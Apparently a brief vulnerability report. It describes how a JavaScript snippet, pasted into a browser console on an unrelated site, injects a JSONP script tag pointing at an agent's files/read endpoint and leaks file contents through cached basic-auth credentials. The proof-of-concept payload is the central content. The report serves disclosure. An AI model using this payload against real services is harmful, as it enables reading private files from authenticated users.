Major Description
x=document.createElement('script') x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=50000&jsonp=console.log&_=1490306716903' document.body.appendChild(x)
The above code pasted into the web console on http://example.com/, for example, will yield the contents of the requested file. Basic auth is cached and resent in browser tabs/windows as long as the user has authenticated during the browser session.